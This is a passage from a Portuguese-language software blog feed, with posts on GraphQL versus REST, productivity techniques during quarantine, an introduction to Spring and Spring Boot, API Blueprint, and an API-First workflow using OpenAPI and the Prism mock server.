O que talvez precise ficar claro na sua tomada de decisão é que um não substitui o outro completamente, como afirma Mike Stowe, no ProgrammableWeb:

However, that does not mean that in GitHub’s case, pushing out a public GraphQL API was the right choice. In an effort to reduce calls, they are giving up the very layers of flexibility that I believe will drive future APIs. In essence, they chose a solution to one problem they were facing, but in doing so disregarded solutions for the problems REST was designed to solve (...)

Dependendo da sua stack, disponibilizar os dois formatos não é nenhum sacrifício. Aliás, ter o GraphQL como uma espécie de API Gateway, agregando o resultado de demais endpoints REST parece ser uma tendência.

Exemplo de uso de GraphQL como API Gateway, à frente de outras APIs GraphQL e REST (labs.getninjas.com.br)

Considerações finais

Para mim, a linguagem brilhou quando migrei o blog para Gatsby. A flexibilidade e assertividade que ela me proporcionou, mesmo em um ambiente de static site generator, me deixou impressionado e até mesmo apaixonado por toda a ideia por trás da tecnologia.

E esse caso de uso, na minha opinião, é motivação o suficiente para pelo menos compreendermos a linguagem. Se há ceticismo em relação ao uso dela em uma solução que já existe, talvez ele dê uma abrandada quando você experimentá-la em um contexto diferente.

Como o livro "GraphQL or Bust: To Use It Or Not: That is the Question" dá a entender, não tem almoço grátis:

GraphQL has often been sold as a perfect solution for every problem, but the reality is that it meets one requirement better than most other, and if that’s not part of your requirements, it may not be the best solution for your implementation.

A discussão continua nas referências abaixo. Não deixe de conferir!

Até a próxima.

Referências

5 práticas para ajudar na produtividade durante a quarentena

Fri, 22 May 2020 12:01:00 GMT

Esse post é inspirado em uma conversa que tive com a minha sobrinha, há alguns dias atrás, relacionado à foco e concentração durante essa época de quarentena.

Ela está assistindo às aulas de forma remota, e está lutando a mesma luta de todo desenvolvedor que trabalha remoto: Manter o foco com tantas distrações e interrupções.

E trabalhar remoto virou uma realidade (ainda maior, com a pandemia de COVID-19) para praticamente todo o mercado de desenvolvimento de software. Tem gente que gosta, tem gente que não suporta a ideia. Mas o fato é que empresas como o Twitter, já estão mostrando que esse modo de trabalho pode ser a regra daqui para frente.

Voltando à minha sobrinha, recomendei a técnica Pomodoro, e com isso veio a ideia de escrever (novamente) sobre o assunto.

Sem mais delongas, vamos ao que interessa.

1. Lista de tarefas

Tenha prioridades (unsplash.com)

Fazer uma lista com os afazeres do dia é um bom primeiro passo em direção a ter algo feito. Pode parecer simplista, mas compreender o que precisa ser feito, e acima de tudo, o que precisa ser feito primeiro, é uma das práticas mais básicas para combater a procrastinação.

Os detalhes de como você fará essa lista podem variar de acordo com os diferentes autores. Dirão que você deveria começar pelas coisas mais difíceis, ou que você deveria realizar tudo o que é importante antes de almoçar, ou ainda que você deveria planejar o dia seguinte antes de dormir.

Não importando a prática escolhida, deve-se ter cuidado com o seguinte: Quando tudo é importante, nada é importante.

Já me vi várias vezes com uma lista de tarefas tão grande, que fazê-las começou a perder o sentido, e entrei no espectro da procrastinação da sensação de ter coisas demais para fazer, e não conseguir motivação para começar.

Para evitar o desperdício e a frustração que essa situação pode ocasionar, existe a prática chamada "Caixa de Eisenhower" (ou "Matriz de Eisenhower").

Separe suas tarefas em quatro quadrantes, descarte o que for classificado como não importante/não urgente (jamesclear.com)

Separe a sua lista em quatro quadrantes:

Importante, urgente: Faça, e faça agora
Importante, não urgente: Agende um tempo para fazer isso
Não importante, urgente: Ache alguém para fazer isso para você
Não importante, não urgente: Descarte

Papel e caneta são o suficiente para começar. Há inúmeras aplicações que auxiliam na criação de todo lists, que vão desde soluções mais simples como o Google Tasks e Reminders, até soluções mais arrojadas como o Trello e Todoist.

2. Tenha um horário para começar e terminar

Tenha um horário para acordar e começar o seu dia (unsplash.com)

Consigo até imaginar você revirando os olhos nesse momento.

Mas sim, tão importante quanto saber o que você tem que fazer, e em qual ordem, é saber quando começar e parar. Principalmente se fará parte do seu cotidiano fazer home-office, ou estudar de casa.

Com um horário para começar, você se predispõe a começar a executar os itens da sua lista de tarefas em um determinado período. Com o tempo e a repetição, vem a rotina. E aquilo que no início era doloroso passa a fazer parte do seu cotidiano.

Tão crucial quanto, é saber quando parar. Estar remoto não significa que você tenha que trabalhar mais horas, ou que tenha que ficar até tarde. O descanso é fundamental para que você mantenha-se produtivo no dia seguinte. Mas além disso, é uma questão de saúde! Imagine que você está indo para o escritório, ou para a escola.

Atente-se aos horários de entrada e saída.

3. Pomodoro

O ciclo aplicado através da técnica (simplesfica.com)

Já falamos sobre Pomodoro por aqui, e a prática resume-se em:

Escolha uma tarefa
Programe o seu despertador para despertar em 25 minutos
Trabalhe nessa tarefa durante os 25 minutos
Faça uma pausa de 5 minutos
Repita do início
A cada quatro intervalos de 25 minutos, faça uma pausa de 15 minutos

A dinâmica aqui te força a focar no processo (algo perfeitamente alcançável), ao invés de focar no resultado da tarefa (algo por vezes difícil de alcançar). Os benefícios são muito bem explicados na fantástica webcomic Uma Longe Noite Aprendendo.

Moosti e Be Focused são apps gratuítos bem interessantes. Mas qualquer dispositivo que você possa programar um alarme é mais do que o suficiente.

4. Flowtime

Com uma planilha, ou até mesmo bloco de notas, fica fácil por em prática (medium.com)

Ainda no campo da gestão de tempo, existe a técnica Flowtime.

Segundo a autora, ela se sentia frustrada com a (podemos dizer) rigidez do método Pomodoro. Coisas que vão desde a indivisibilidade das sessões, até o que ela chama de "tirania do despertador", onde estamos empolgados com alguma tarefa e somos obrigados a pará-la para tirar os 5 minutos de pausa.

Quem já trabalhou com Pomodoro e desenvolvimento de software deve ter se identificado aqui. Estar no meio de uma lógica, e ser "obrigado" a parar é completamente frustrante.

A prática foca nas três principais características do Pomodoro:

Monitorar tempo
Foco em uma tarefa por vez
Pausas periódicas

Com a adição de uma nova característica: flow. Ou seja, se você estiver embalado realizando uma tarefa, continue!

Flowtime na prática com um bloco de notas (medium.com)

Portanto, o processo é mais ou menos o seguinte:

Escolha uma tarefa, e escreva a hora de início
Descanse quando você sentir necessidade, e escreva a hora da pausa
Agende o alarme para o fim da pausa
Mantenha um registro do número de interrupções
Mantenha um registro das horas trabalhadas e das pausas
Repita

As pausas são definidas por você. Podem ser proporcionais à quantidade de horas que você trabalhou, ou até mesmo ao tipo de tarefa que você está executando.

O Toggl é um app incrível, que usei muito quando trabalhava remoto, e que parece se encaixar bem com essa prática.

Confira o cheat sheet da técnica Flowtime.

5. Noisli e as playlists para foco

Manter o foco também está relacionado com estímulos sonoros (unsplash.com)

Não vai importar muito ter a melhor ferramenta de gestão de tempo disponível, mas ficar se distraindo com o barulho da televisão na sala, ou com o vizinho reformando o apartamento à base de marretadas e furadeira.

Eu passo horas com fones de ouvido (invista em um bom dispositivo, e tome muito cuidado com eles!), algumas vezes apenas tirando proveito do noise reduction, mas em grande parte ouvindo música, podcasts e "barulhos".

Com barulhos estou me referindo ao Noisli, que é um app que está no mercado há certo tempo, e que te permite criar um conjunto de sons que vão preencher o espaço e aumentar o foco.

Barulho de vento, de trem, de chuva, etc (noisli.com)

O meu favorito é o barulho de cafeteria. Melhor ainda é usar essa sample dentro de uma cafeteria real. Mas como estamos em quarentena, faça um café na sua própria cozinha e aproveite o ambiente.

Playlists especializadas em foco e produtividade tem ganhado popularidade nos players de música. Spotify, Apple Music e YouTube Music, tem boas opções para diferentes gêneros e gostos.

A minha favorita é a Epic Reading Session, criada por um usuário do Spotify.

Curte trilha sonora de filmes? Tenho certeza que você vai gostar dessa playlist (spotify.com)

Considerações finais

Que grande privilégio que muitos desenvolvedores de software têm de, colaborar com a quarentena ficando em casa, e ainda assim poder trabalhar.

Se você é desenvolvedor, e a sua empresa não está incentivando o trabalho remoto, faça questão de mostrar o exemplo de outros gigantes da indústria ao promoverem essa modalidade, e que há ferramentas para manter-se produtivo mesmo fazendo home-office.

Ficar em casa é um ato de humanidade.

Mas lembre-se: É impossível ser produtivo o tempo todo. Procrastinar também faz parte. Tente sempre que possível achar um equilíbrio.

Permita-se sentir tédio, permita-se não fazer nada. E se "passar tempo demais com você mesmo" está te fazendo subir pelas paredes, tente mindfullness, ou consulte um psicólogo.

Para os céticos (em relação ao Corona), fica esse excelente vídeo do Jovem Nerd falando sobre o "presente cyberpunk distópico":

E você? Tem alguma sugestão de ferramenta ou prática para dar? Deixe a sua contribuição nos comentários abaixo.

#fiqueemcasa

Referências

Engatinhando em Java para a web: Spring Boot

Wed, 20 May 2020 05:25:00 GMT

No post anterior, finalizamos a introdução a alguns aspectos utilizados pelo Java EE para construção de aplicações web. Se você acompanhou os artigos até aqui, e achou tudo muito doloroso, você não está sozinho.

Desenvolvedores, com o passar do tempo, ansiavam por alternativas menos burocráticas para desenvolver suas soluções. E foi em 2003, seguindo essa premissa, que Rob Johnson lançava a versão 1.0 do Spring.

Antes do Boot. O que é Spring?

Como a maioria das coisas do mundo Java, a resposta para essa pergunta pode ser mais complicada do que parece.

Uma das definições da documentação oficial é a seguinte:

Spring makes programming Java quicker, easier, and safer for everybody. Spring’s focus on speed, simplicity, and productivity has made it the world's most popular Java framework.

O Spring começou como uma resposta à complexidade do J2EE. Atualmente ele deve ser compreendido como um "complemento" à mesma, ou seja, a comunidade do Spring de fato adota partes da especificação Java EE, e com isso torna possível desenvolver aplicações "enterprise" com maior facilidade.

Flexibilidade, modularização, retrocompatibilidade, uma grande e ativa comunidade, e evolução contínua (além da sua famosa Dependency Injection), fazem do Spring um dos frameworks Java mais famosos do mercado.

Logo, como tantos outros frameworks espalhados por aí, o propósito do Spring é facilitar e acelerar o desenvolvimento, provendo bibliotecas e ferramentas que te permitam focar no negócio. No entanto, quando falamos em "Spring", provavelmente estamos falando de todo o seu ecossistema.

Conheça a família Spring (pluralsight.com)

Chegaremos no Spring Boot, mas antes, vamos por partes, como diria aquele famoso serial killer.

O Spring Framework

A definição do Spring como plataforma pode ser utilizada para compreender o Spring como framework. Segundo a documentação oficial:

The Spring Framework provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Uma de suas principais características é lidar com aspectos de aplicações enterprise, para que desenvolvedores possam focar em lógica de negócio a nível de aplicação. Outros benefícios podem ser resumidos em:

Promove loose coupling;
Oferece ferramentas que facilitam a escrita de testes;
Diminui a quantidade de boilerplate code para singletons e factories;
Suporta configuração via XML e de forma programática via annotations.

Há outros fatores cruciais do framework, como o já citado Dependency Injection (e Inversion of Control). Com tais características, e com a premissa de abordar diferentes áreas de uma aplicação, é inevitável que o Spring torne-se algo complexo.

Logo, o framework é separado em seis "áreas fundamentais".

1: Core

Spring Core e sua relação com os demais módulos (pluralsight.com)

O curso da Pluralsight, "Spring: The Big Picture", define o Spring Core como:

Spring Core is a dependency injection container.

Mais uma vez voltamos a citar Dependency Injection. E se esse pattern ainda soa exotérico para você, recomendo o ótimo "A quick intro to Dependency Injection: what it is, and when to use it", do freeCodeCamp.

Além disso, é o módulo que fornece funcionalidades como i18n, validações, data binding, conversores, etc. De maneira geral, é a "cola" e o fundamento de todo o framework.

2: Web

Fluxo de requisições e respostas através do Spring MVC (pluralsight.com)

O módulo Spring Web é responsável por lidar com requisições web. Isso pode ser feito através de dois frameworks:

Spring Web MVC: Que fornece ferramental para atender requisições e prover respostas através de Servlets;
Spring WebFlux: A forma de fazer aplicações web reativas (non-blocking) com Java e Spring.

O primeiro é a forma mais comum de fazer web, já o segundo envolve conceitos de requisições não-bloqueantes, que pretendo abordar melhor em posts vindouros.

3: AOP

AOP é acrônimo para o pomposo Aspect-Oriented Programming, que tem por finalidade aumentar a modularidade ao permitir a separação de cross-cutting concerns.

Ou, como muito bem define a Wikipedia:

Em Ciência da Computação, programação orientada a aspectos ou POA, é um paradigma de programação de computadores, criado por Gregor Kiczales e equipe na Xerox PARC (divisão de pesquisa da empresa Xerox), que permite aos desenvolvedores de software organizar o código fonte de acordo com a importância de uso na aplicação e separar em módulos (separation of concerns). Em contrapartida aos programas escritos no paradigma orientado a objetos, que possui código alheio a implementação do comportamento do objeto; todo código utilizado para implementar funcionalidades secundárias e que se encontra espalhado por toda a aplicação (crosscutting concern). A POA permite que esse código seja encapsulado e modularizado.

E se ainda está complicado de compreender, imagine a necessidade de aplicar a checagem de permissões por operações do usuário. É o tipo de responsabilidade que pode ficar espalhada pela aplicação. Com Spring AOP temos algo como abaixo:

@PreAuthorize("hasRole('admin')")
public void sensitiveOperation() {
    ...
}

Os detalhes da implementação de segurança não interessam ao sensitiveOperation, assim como o inverso.

4: Data

Com o Spring Data, interagir com dados fica muita mais simples. Abaixo, um exemplo de SELECT utilizando JDBC "na unha":

// Exemplo de database query com JDBC

try {
    Statement stmnt = conn.createStatement();

    try {
        ResultSet rs = stmnt.executeQuery(
            "SELECT COUNT(*) FROM foo");

        try {
            rs.next();
            int cnt = rs.getInt(1);
        } finally {
            rs.close();
        }
    } finally {
        stmnt.close();
    }
} catch (SQLException e) {
    // handle error
} finally {
    try {
        conn.close();
    } catch (SQLException e) {
        // handle error
    }
}

Agora o mesmo ensaio, só que com Spring Data:

int cnt = new JdbcTemplate(ds)
    .queryForInt("SELECT COUNT(*) FROM foo");

Nem preciso mencionar que gerenciar transações também fica muito mais simples:

@Transactional
public void operation() {
    // 1 ou mais queries
}

Para finalizar, controle de erros e inclusive ferramental para testes automatizados, são garantias fornecidas pelo Spring Data.

5: Integration

Integração é sobre fazer diferentes sistemas e aplicações funcionarem juntos (pluralsight.com)

A intenção do Spring Integration é fazer com que sistemas se conversem. Não é só sobre expor suas soluções, mas também sobre consumir outros serviços.

Por exemplo, para criar um endpoint REST, anotações como RestController e GetMapping são ferramentas essenciais, fornecidas por esse módulo:

@RestController
public class AccountController {

    @GetMapping("/account/{id}")
    public Account find(@PathVariable int id) {
        ...
    }
}

Outro companheiro fiel é o RestTemplate, que você pode ler mais aqui.

6: Testing

O Dependency Injection é uma excelente ideia para garantir modularização e diminuir as amarras do acoplamento.

Com o Spring Testing, utilizar mocks, stubs e spies, como dependências injetáveis, fica muito mais fácil. Testar unitariamente (ou até mesmo de forma integrada) a sua aplicação é algo prático e factível.

O Spring Boot

Árvore de dependências do Spring Boot (journaldev.com)

Ok. Finalmente! O que é o Spring Boot?

A documentação oficial define da seguinte forma:

Spring Boot makes it easy to create stand-alone, production-grade Spring based Applications that you can "just run".

We take an opinionated view of the Spring platform and third-party libraries so you can get started with minimum fuss. Most Spring Boot applications need minimal Spring configuration.

Imagine que para utilizar o Spring, cada módulo descrito acima é uma dependência que precisa ser instalada e configurada. E com isso, você vai ter uma porção de código boilerplate para executar o seu projeto.

Com Spring Boot, a biblioteca toma algumas decisões por você, configurando e declarando quais dependências seu projeto utilizará. Assim, com o mínimo de esforço você consegue ter a sua aplicação web funcionando em tempo recorde. Com alguns outros agrados, como métricas, health check, utilitários para deployment, etc.

Além do "auto-configuration", outro aspecto marcante do Spring Boot é que ele é standalone. Ou seja, toda aquela dança que tivemos com o Tomcat nos posts anteriores não é necessária aqui. O Spring Boot "embeda" o servidor web, e se encarrega disso para você.

É instalar e sair escrevendo código para o negócio, aos invés de escrever código para o framework.

Considerações finais

Esse post foi completamente baseado no curso Spring: The Big Picture, da plataforma de ensino Pluralsight. Se você quiser dar os seus primeiros passos com Java para web, utilizando Spring, esse curso é mais do que recomendado.

Spring Boot é sem dúvida a maneira mais indolor de começar a desenvolver para a web utilizando Java. Comece por ele, e vá customizando o conjunto de dependências e configurações sempre que necessário.

Escreva a sua primeira aplicação em Spring Boot agora.

Até a próxima.

Referências

API Blueprint: Markdown é vida!

Sun, 05 Apr 2020 07:40:00 GMT

Estamos falando sobre escrever especificações de APIs há um bom tempo aqui no blog. RAML, Swagger e OpenAPI Specification já foram explorados, e com os dois últimos encontramos um ecossistema rico com ferramentas extremamente interessantes.

Há um outro simpático player no mercado, o API Blueprint, e o post de hoje é sobre essa prática ferramenta.

A menor curva de aprendizado do Oeste

Um colega de trabalho, há muito tempo atrás, me apresentou o API Blueprint. Na ótica dele, um dos aspectos mais interessantes era a escrita utilizando Markdown.

É um formato para máquinas? É um formato para humanos? Que diferença faz? (tvguide.com)

Sim! É verdade! Claro que utilizando o formato/extensão específico há ganhos como syntax highlighting, mas ainda assim é possível escrever a especificação de uma API somente com Markdown, o que torna a leitura do documento mais amigável, e interoperável com ferramentas como o seu editor de textos, ou o próprio Github.

Como o documento é apresentado pelo Github

Para quem já tem um README.md em seu repositório, ter um api.md não parece ser nenhum grande sacrifício. E dependendo do seu público alvo, ter a "documentação final gerada" pode ser tão simples quanto compartilhar o link da especificação no Github.

Mas o que é API Blueprint mesmo?

A documentação oficial o define da seguinte forma:

(...) is simple and accessible to everybody involved in the API lifecycle. Its syntax is concise yet expressive. With API Blueprint you can quickly design and prototype APIs to be created or document and test already deployed mission-critical APIs.

Assim como os já citados RAML e Swagger, o API Blueprint é uma linguagem de design utilizada para descrever APIs. O seu propósito é o de encorajar o diálogo e colaboração, logo, uma ferramenta mais que ideal para adoção no seu processo de API-First.

Para ter os ganhos que citei anteriormente, o API Blueprint usa um "melhoramento" do Markdown chamado de MSON (Markdown Syntax for Object Notation). É com essa notação que utilizamos a síntaxe do Markdown para descrever estruturas de dados, heranças e recursos.

Leia a especificação do MSON.

Começando

Voltando ao bom e velho exemplo do mini IMDB, vamos criar um arquivo api.md e pôr a mão na massa.

Começamos por definir qual versão do API Blueprint utilizaremos, bem como descrevendo o nome da API e seu propósito:

FORMAT: A1

# Movies API

This is an API Blueprint example describing a movies API.

O #, no Markdown, é associado a um "título de nível 1". Ou seja, o # Movies API se convertido em HTML produziria um <h1>Movies API</h1>. Nesse caso, o # produz o título da API. O # também é utilizado para agrupar recursos, mas nesse caso, ele necessita da keyword Group:

FORMAT: A1

# Movies API

This is an API Blueprint example describing a movies API.

# Group Movies

Resources related to movies in the API.

Descrevendo recursos

O próximo passo é descrever o recurso e seus endpoints. Começaremos pelo endpoint /movies. Para descrever o recurso, utilizamos o ##, já a ação é representada através de 3 hashtags (###):

(...)

## Movie collection [/movies]

### List all Movies [GET]

List movies in reverse order of publication.

- Response 200 (application/json)

Quando o recurso /movies receber uma requisição GET, ele responderá com o status code 200, e com o content-type application/json. Essa última parte é descrita através da linha + Response 200 (application/json).

Exemplo de representação do endpoint

Podemos também descrever como será o payload dessa resposta.

Descrevendo os dados

É possível utilizar JSON Schema para descrever o payload de requisições e respostas. Como ilustrado nesse exemplo tirado da documentação oficial:

### Create a New Question [POST]

You may create your own question using this action. It takes a JSON object
containing a question and a collection of answers in the form of choices.

- Request (application/json)

  - Body

          {
            "question": "Favourite language?"
            "choices": [
              "Swift",
              "Objective-C"
            ]
          }

  - Schema

          {
            "$schema": "http://json-schema.org/draft-04/schema#",
            "type": "object",
            "properties": {
              "question": {
                "type": "string"
              },
              "choices": {
                "type": "array",
                "items": {
                  "type": "string"
                },
                "minItems": 2
              }
            }
          }

O JSON Schema é um vocabulário poderoso para anotar e validar documentos JSON. No entanto, ele pode "destoar" do resto do seu documento.

Há uma alternativa utilizando o próprio MSON. Através da seção ## Data structure, conseguimos algo semelhante com o ilustrado acima.

(...)

## Data structures

### Movie

- id: 810b43d0-fc0d-4199-8a79-25b471c880bf (string, required)
- title: Avengers: Endgame (string, required)
- description (string)

Descrevemos a estrutura Movie, informando o seu id (string e obrigatória), title e description. Note que este último, além de não ser obrigatório, não possui nenhum exemplo informado (como os dois outro campos).

Para associar a estrutura acima com a resposta de /movies, utilizamos Attributes:

(...)

### List all Movies [GET]

List movies in reverse order of publication.

- Response 200 (application/json)

  - Attributes (array[Movie])

(...)

Com ajuda do tipo array, descrevemos o payload da resposta do endpoint.

Exemplo de representação do payload

No fim das contas, um JSON body e JSON Schema é gerado através dos atributos MSON. Por isso do bloco Schema, exibido na imagem acima.

Visite o tutorial do API Blueprint e veja como aplicar a especificação para os demais verbos HTTP.

O exemplo completo pode ser conferido aqui.

As imagens representando a especificação foram extraídas do plugin API Blueprint Viewer, para o VS Code.

Considerações finais

Na página de Tools do site oficial é possível conhecer as diferentes ferramentas à disposição, que vão desde editores até mock servers.

Nesse quesito, uma das ferramentas que me conquistou foi o Dredd, que é utilizado para validar especificação, e funciona tanto com o API Blueprint quanto com o OpenAPI. Aliás, OpenAPI/Swagger ainda são "campeões" no quesito ferramentas disponíveis.

Pela característica do Markdown, e de ser relativamente mais barato de escrever, eu tive a oportunidade de utilizar o API Blueprint da seguinte forma:

Propostas de adições, remoções e alterações são escritas através de API Blueprint e discutidas com os stakeholders;
A solução é escrita e o contrato é validado através do Dredd;
Mas a especificação pública é gerada através do código-fonte, com o Swagger;
E a partir dessa especificação é gerada a documentação final e SDKs.

A facilidade de escrita de documentos API Blueprint faz dele uma ótima opção e um player mais que interessante no cenário de specs REST. Um terreno ainda dominado pelo Swagger...

Até a próxima.

API-First: Processo e ferramentas

Mon, 02 Mar 2020 10:15:00 GMT

No post anterior tive a oportunidade de falar de uma forma mais abrangente sobre o API-First. O exercício é interessante, uma vez que é possível focar no conceito, ao invés de ferramentas e processos. Mas o objetivo desse artigo é cairmos de cabeça em como exercitar a ideia de forma prática.

O problema a ser solucionado será explicado mais abaixo, mas antes de cairmos na tentação de pensar no framework web, na modelagem de dados, em qual servidor de aplicação usar, ou em virtualizar com Docker e Kubernetes, vamos focar primeiro na especificação.

Diferença de fluxos

Com sorte seremos capazes de produzir uma API que atenda a necessidade dos nossos stakeholders.

O problema

Vamos "reciclar" o problema proposto no post sobre Django REST Framework e construir um "Feedly-clone". Então, partiremos da análise do seguinte requisito funcional:

Eu como usuário, Quero poder visualizar notícias recentes de websites que me cadastrei, Para que assim eu fique atualizado sobre assuntos de meu interesse

Com essa user story, podemos pensar no processo que envolve a prática do API-First.

O processo

No post anterior mencionei alguns passos que não podem faltar em um contexto de API-First. Jennifer Riggins, no "How to Design Great APIs with Api-First Design" traz uma visão mais prática sobre como o processo pode ser definido:

Planeje: Mesmo antes de começar, decida o propósito do produto e comece a esboçar a API;
Projete e valide: Debata o conceito com outros stakeholders e progrida com o design da API. Prove o conceito através de mocks (mais a seguir) e compreenda como a API será utilizada;
Oficialize a especificação: Construa a especificação de acordo com o planejamento e design. Gere a documentação baseada na spec, enriqueça o mock com os casos de uso e faça o release da mesma;
Teste: Teste para garantir que a API funcione. Teste para garantir que os casos de uso são atendidos. Teste para se assegurar que nenhuma nova alteração quebrou o contrato estabelecido. E considere testes automatizados sempre que possível;
Implemente: Não apenas você (backend), é hora de outros stakeholders (mobile, por exemplo) fazerem parte do processo de concepção. Quanto antes interagirem, mais cedo e (teoricamente) mais fácil será a reação à mudança;
Opere e engage: Publique-a! Interaja com seus clientes, aprenda com necessidades que ainda precisam ser atendidas, e repita o processo. API-First é tão sobre negócios quanto é sobre tecnologia.

Exemplo de processo com o API-First

Vamos esmiuçar de forma prática cada um dos passos acima.

Antes de ir: Single source of truth

A abordagem adotada nesse post seguirá valores apresentados no "Three Principles of API First Design". Mais especificamente:

Your API comes first, then the implementation

E nesse exemplo vamos separar especificação da implementação de forma "concreta". Ou seja, serão dois artefatos independentes.

Existem alternativas a esse approach, por exemplo, o uso do drf-yasg. Esta é uma ferramenta que gera a especificação (Swagger e OpenAPI Spec) automaticamente de acordo com o código fonte do seu projeto Django (com REST Framework).

Algo deve ser muito claro independente do que optar: Só deve haver uma verdade absoluta; No caso desse artigo, será a especificação escrita à parte.

1: Planeje

Vamos usar REST como padrão de comunicação entre o nosso servidor e os clientes. Portanto, poderemos utilizar Open API Spec para especificar a API. Caso a solução fosse a adoção de outra tecnologia (por exemplo, GraphQL ou gRPC), alternativas para o passo de descrição e documentação da interface devem ser aplicadas.

Além disso, seremos o mais "compliant" possível com o RESTful, ou seja, seguiremos à risca recomendações em relação a path, status codes e verbos. O versionamento da API acontecerá via fragmento no path (ex.: /v1/), e a princípio apresentaremos apenas respostas em JSON.

Imaginemos que depois de ponderar com outros stakeholders, chegamos à seguinte conclusão:

[
  {
    "id": 1,
    "title": "Título do artigo publicado no canal ABC",
    "pub_date": "data-com-timezone-incluso",
    "summary": "Resumo do artigo",
    "content": "Conteúdo completo do artigo",
    "image": "imagem-principal-do-artigo.png",
    "channel": "ABC",
    "url": "http://article-1.html"
  },
  {
    "id": 2,
    "title": "Título do artigo publicado no canal XYZ",
    "pub_date": "data-com-timezone-incluso",
    "summary": "Resumo do artigo (2)",
    "content": "Conteúdo completo do artigo",
    "image": "imagem-principal-do-artigo-2.png",
    "channel": "XYZ",
    "url": "http://article-2.html"
  }
]

Além disso, esboçamos as seguintes rotas:

GET /api/v1/channels/<id-do-channel>: Pega a lista de artigos
GET /api/v1/articles/<id-do-artigo>: Pega o artigo completo

Vamos ocultar complexidades fora do escopo da user story apresentada (como por exemplo, paginação e autenticação). Além disso, propositalmente não definimos um formato "oficial" para pub_date, apenas determinamos que deverá ser uma data em UTC.

Por tratar-se de um esboço inicial que gerará material para a definição do style guide da API e dos endpoints em si, é natural deixarmos passar alguns detalhes que podem gerar problemas de integração.

2: Projete e valide

Abaixo, o documento representando exatamente o que foi acordado na seção anterior, com OpenApi Specification:

openapi: "3.0.2"
info:
  title: Feedly-clone
  version: v1
paths:
  /channels:
    summary: Set of channels, e.g. blogs, websites or podcasts
    get:
      responses:
        "200":
          description: List of channels
          content:
            application/json:
              schema:
                type: array
                items:
                  $ref: "#/components/schemas/Channel"

  /channels/{id}:
    parameters:
      - $ref: "#/components/parameters/id"
    summary: Details of a channel
    get:
      responses:
        "200":
          description: Channel detail response
          content:
            application/json:
              schema:
                $ref: "#/components/schemas/Channel"

  /articles:
    summary: Set of items
    get:
      responses:
        "200":
          description: List of articles
          content:
            application/json:
              schema:
                type: array
                items:
                  $ref: "#/components/schemas/Article"

  /articles/{id}:
    parameters:
      - $ref: "#/components/parameters/id"
    summary: Details of an article
    get:
      responses:
        "200":
          description: Article detail response
          content:
            application/json:
              schema:
                $ref: "#/components/schemas/Article"

components:
  parameters:
    id:
      name: id
      in: path
      required: true
      schema:
        type: integer
  schemas:
    Channel:
      properties:
        id:
          type: integer
        name:
          type: string

    Article:
      properties:
        id:
          type: integer
        title:
          type: string
        pub_date:
          type: string
        summary:
          type: string
        content:
          type: string
        image:
          type: string
        channel:
          type: string
        url:
          type: string

O artigo "Swagger na prática" pode ser de ajuda caso você não esteja familiarizado com a síntaxe acima.

Projete

A partir daqui podemos pensar sob a ótica de casos de uso. Práticas e ferramentas podem variar dependendo da sua criatividade e do seu time. Para fins didáticos vamos manter esse passo o mais simples possível.

Para início de conversa o path articles/ não está alinhado o suficiente com a semântica por trás do problema. O formato RSS chama o que estamos chamando de Article de Item, logo, se quisermos manter uma linguagem ubíqua é fundamental renomearmos esse elemento.

Projetar é uma arte, desconhecida pelo Império (movieweb.com)

Outro ponto de controvérsia em nosso esboço é que o recurso articles/ poderia ser um nested resource de channels/{id}/:

channels/{id}: Detalhes do channel
channels/{id}/items: Lista de items daquele channel
channels/{channel-id}/items/{item-id}: Detalhes do item

Digamos que após consultar os stakeholders de mobile e web, eles concordem com a alteração. É exatamente esse tipo de questionamento que esse passo deve trazer, além de instigar a discussão com demais interessados.

Por último, mas não menos importante, vamos supor que nossos possíveis clientes não estejam propensos a mostrar o conteúdo completo dos artigos em sua listagem. Logo, eles estariam fazendo "over-fetching" de informação. Podemos remover esse campo (content) de channels/{id}/items/{id}.

A especificação final você pode conferir aqui.

Antes de ir: Over-fetching e Under-fetching

Over-fetching (trazer mais conteúdo do que o necessário em um request) e under-fetching (trazer menos conteúdo do que o necessário) são problemas comuns em APIs REST que possuem pluralidade de clientes.

Soluções variam, das mais ingênuas (criar um endpoint para mobile e um para web, por exemplo) até as mais rebuscadas (como deixar o REST de lado e adotar GraphQL). O "meio-termo" seria a adoção de algum mecanismo que permita ao cliente especificar quais campos ele deseja carregar na requisição.

E é exatamente isso que o FlexFields faz para soluções escritas em REST Framework.

Valide

É hora de validarmos o contrato.

Poderíamos escrever views muito simples em Django (por exemplo) que atendam a especificação ao responder conteúdo estático. Mas possivelmente a melhor forma de executarmos esse passo seja através de ferramentas chamadas mock servers.

As opções são as mais variadas, em diferentes linguagens. A minha sugestão é o Prism, uma ferramenta escrita em Javascript, fácil de instalar e usar.

Veja como instalar o Prism.

Executando o Prism com a especificação passada como argumento, temos um servidor fornecendo o contrato via REST:

$ prism mock openapi.yml

› [CLI] …  awaiting  Starting Prism…
› [CLI] ℹ  info      GET        http://127.0.0.1:4010/channels
› [CLI] ℹ  info      GET        http://127.0.0.1:4010/channels/869
› [CLI] ℹ  info      GET        http://127.0.0.1:4010/channels/857/items
› [CLI] ℹ  info      GET        http://127.0.0.1:4010/channels/226/items/12
› [CLI] ▶  start     Prism is listening on http://127.0.0.1:4010

$ curl http://127.0.0.1:4010/channels/1/items/1

{"id":1,"title":"Anthony Mackie fala sobre se tornar o Capitão América","pub_date":"Sat, 29 Feb 2020 19:21:37 +0000","summary":"Quero que o meu Capitão América represente todo mundo, não só um grupo específico de pessoas","image":"https://uploads.jovemnerd.com.br/wp-content/uploads/2020/02/anthony-mackie-capitao-america.jpg","content":"Conteúdo completo","url":"https://jovemnerd.com.br/nerdbunker/anthony-mackie-fala-sobre-se-tornar-o-capitao-america/"}

Isso permite que novas avaliações sejam realizadas, modificações aconteçam com antecedência, casos de uso sejam testados, e até mesmo que outros stakeholders comecem a desenvolver a parte deles sem precisar esperar pelo backend todo estar pronto.

3: Oficialize a especificação

Nesse passo estruturamos o release da especificação, gerenciamos o processo e futuras iterações, e (claro) versionamos o arquivo.

Enquanto trabalhei na Loadsmart, mantínhamos a especificação em um repositório Git e tínhamos um build no CI para publicar a documentação baseada na versão do arquivo que encontrava-se no master.

Possuímos várias opções para esse passo. Talvez o ReDoc seja a ferramenta mais estilosa para gerar documentação a partir do OpenAPI.

Para fins didáticos vou usar a ferramenta do Swagger e expor a documentação no SwaggerHub: https://app.swaggerhub.com/apis-docs/kplaube/feedly-clone/v1

Documentação publicada no Swagger UI

4: Teste

Teste sempre. Automatize sempre que possível.

